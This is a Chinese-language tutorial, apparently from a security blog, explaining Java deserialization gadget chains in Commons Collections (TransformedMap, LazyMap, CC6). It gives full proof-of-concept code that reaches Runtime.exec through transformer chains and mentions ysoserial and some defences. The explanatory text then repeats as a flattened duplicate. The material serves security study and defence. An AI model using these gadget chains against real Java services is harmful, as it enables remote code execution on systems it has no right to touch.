JAVA TransforMap&LazyMap链
字数 1717 2025-08-26 22:11:51

Java反序列化漏洞深入解析:TransformedMap与LazyMap利用链

一、Java反射基础

1.1 反射基本概念

反射是通过Class对象操作类的机制,允许在运行时获取类的信息并调用方法。关键点:

  • 通过Class.forName()获取Class对象
  • 可以访问私有方法和构造函数
  • 是Java反序列化利用的基础

1.2 关键反射方法

getMethod方法

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
  • 获取公有方法(包括继承的)
  • 需要指定参数类型(解决重载问题)
  • invoke()执行方法

getConstructor方法

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(
    clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))
);
  • 获取公有构造函数
  • newInstance()创建对象实例
  • 变长参数处理需要二维数组

访问私有方法

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
  • getDeclaredConstructor获取私有构造函数
  • setAccessible(true)绕过访问限制

二、Java反序列化基础

2.1 序列化与反序列化

  • 序列化:对象→字节流
  • 反序列化:字节流→对象
  • 需要实现Serializable接口

2.2 readObject与writeObject

private void writeObject(ObjectOutputStream s) throws IOException {
    s.defaultWriteObject();
    s.writeObject("This is a object");
}

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    String message = (String) s.readObject();
    System.out.println(message);
}
  • 自定义序列化/反序列化逻辑
  • defaultWriteObject/defaultReadObject处理默认序列化
  • 开发者写入的内容放在objectAnnotation

三、Commons Collections利用链

3.1 关键类介绍

Transformer接口

  • 定义对象转换逻辑
  • 主要实现类:
    • ConstantTransformer:返回固定对象
    • InvokerTransformer:反射调用方法
    • ChainedTransformer:链式调用多个Transformer

Map装饰器

  • TransformedMap:Map元素变化时触发Transformer
  • LazyMap:Map查询不存在key时触发Transformer

3.2 TransformedMap利用链

利用原理

  1. 构造恶意Transformer链
  2. 绑定到TransformedMap
  3. 通过AnnotationInvocationHandler的readObject触发

完整POC

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

// 序列化与反序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(obj);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();

关键点

  • 使用Runtime.class而非Runtime.getRuntime()保证可序列化
  • AnnotationInvocationHandler需要Retention.class作为参数
  • Map中必须包含value键才能通过if判断

3.3 LazyMap利用链

与TransformedMap的区别

  • 触发点不同:通过get()方法而非setValue()
  • 需要借助Proxy触发invoke方法

完整POC

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realTransformers = new Transformer[]{
    // 同上
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map)Proxy.newProxyInstance(
    Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

// 替换为真实Transformer
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);

// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(handler);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();

关键点

  • 使用Proxy自动调用invoke方法
  • 先设置假Transformer防止多次触发
  • 通过反射设置真实Transformer

3.4 高版本CC6利用链

绕过限制原理

  • 高版本修复了AnnotationInvocationHandler
  • 改用TiedMapEntryhashCode()触发getValue()
  • 通过HashMap的readObject触发hashCode()

完整POC

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realTransformers = new Transformer[]{
    // 同上
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey"); // 防止put时触发

// 替换为真实Transformer
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);

// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(expMap);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();

关键点

  • remove("keykey")防止put时触发
  • HashMap的readObject会触发hash(key)
  • TiedMapEntry.hashCode()调用getValue()

四、工具与防御

4.1 实用工具

  1. SerializationDumper:16进制序列化内容转字符串
  2. ysoserial:根据利用链生成反序列化payload

4.2 防御措施

  1. 升级Commons Collections版本
  2. 使用安全对象反序列化
  3. 实施输入过滤和验证

五、总结

本文详细分析了Java反序列化漏洞中的TransformedMap和LazyMap利用链,包括:

  1. 反射机制的基础知识
  2. 反序列化的基本原理
  3. Commons Collections的三种主要利用方式
  4. 高版本绕过技术
  5. 相关工具和防御措施

理解这些技术原理对于Java安全研究和漏洞防护具有重要意义。

Java反序列化漏洞深入解析:TransformedMap与LazyMap利用链 一、Java反射基础 1.1 反射基本概念 反射是通过Class对象操作类的机制,允许在运行时获取类的信息并调用方法。关键点: 通过 Class.forName() 获取Class对象 可以访问私有方法和构造函数 是Java反序列化利用的基础 1.2 关键反射方法 getMethod方法 获取公有方法(包括继承的) 需要指定参数类型(解决重载问题) invoke() 执行方法 getConstructor方法 获取公有构造函数 newInstance() 创建对象实例 变长参数处理需要二维数组 访问私有方法 getDeclaredConstructor 获取私有构造函数 setAccessible(true) 绕过访问限制 二、Java反序列化基础 2.1 序列化与反序列化 序列化:对象→字节流 反序列化:字节流→对象 需要实现 Serializable 接口 2.2 readObject与writeObject 自定义序列化/反序列化逻辑 defaultWriteObject/defaultReadObject 处理默认序列化 开发者写入的内容放在 objectAnnotation 中 三、Commons Collections利用链 3.1 关键类介绍 Transformer接口 定义对象转换逻辑 主要实现类: ConstantTransformer :返回固定对象 InvokerTransformer :反射调用方法 ChainedTransformer :链式调用多个Transformer Map装饰器 TransformedMap :Map元素变化时触发Transformer LazyMap :Map查询不存在key时触发Transformer 3.2 TransformedMap利用链 利用原理 构造恶意Transformer链 绑定到TransformedMap 通过AnnotationInvocationHandler的readObject触发 完整POC 关键点 使用 Runtime.class 而非 Runtime.getRuntime() 保证可序列化 AnnotationInvocationHandler 需要 Retention.class 作为参数 Map中必须包含 value 键才能通过if判断 3.3 LazyMap利用链 与TransformedMap的区别 触发点不同:通过 get() 方法而非 setValue() 需要借助 Proxy 触发 invoke 方法 完整POC 关键点 使用 Proxy 自动调用 invoke 方法 先设置假Transformer防止多次触发 通过反射设置真实Transformer 3.4 高版本CC6利用链 绕过限制原理 高版本修复了 AnnotationInvocationHandler 改用 TiedMapEntry 的 hashCode() 触发 getValue() 通过HashMap的 readObject 触发 hashCode() 完整POC 关键点 remove("keykey") 防止put时触发 HashMap的 readObject 会触发 hash(key) TiedMapEntry.hashCode() 调用 getValue() 四、工具与防御 4.1 实用工具 SerializationDumper :16进制序列化内容转字符串 ysoserial :根据利用链生成反序列化payload 4.2 防御措施 升级Commons Collections版本 使用安全对象反序列化 实施输入过滤和验证 五、总结 本文详细分析了Java反序列化漏洞中的TransformedMap和LazyMap利用链,包括: 反射机制的基础知识 反序列化的基本原理 Commons Collections的三种主要利用方式 高版本绕过技术 相关工具和防御措施 理解这些技术原理对于Java安全研究和漏洞防护具有重要意义。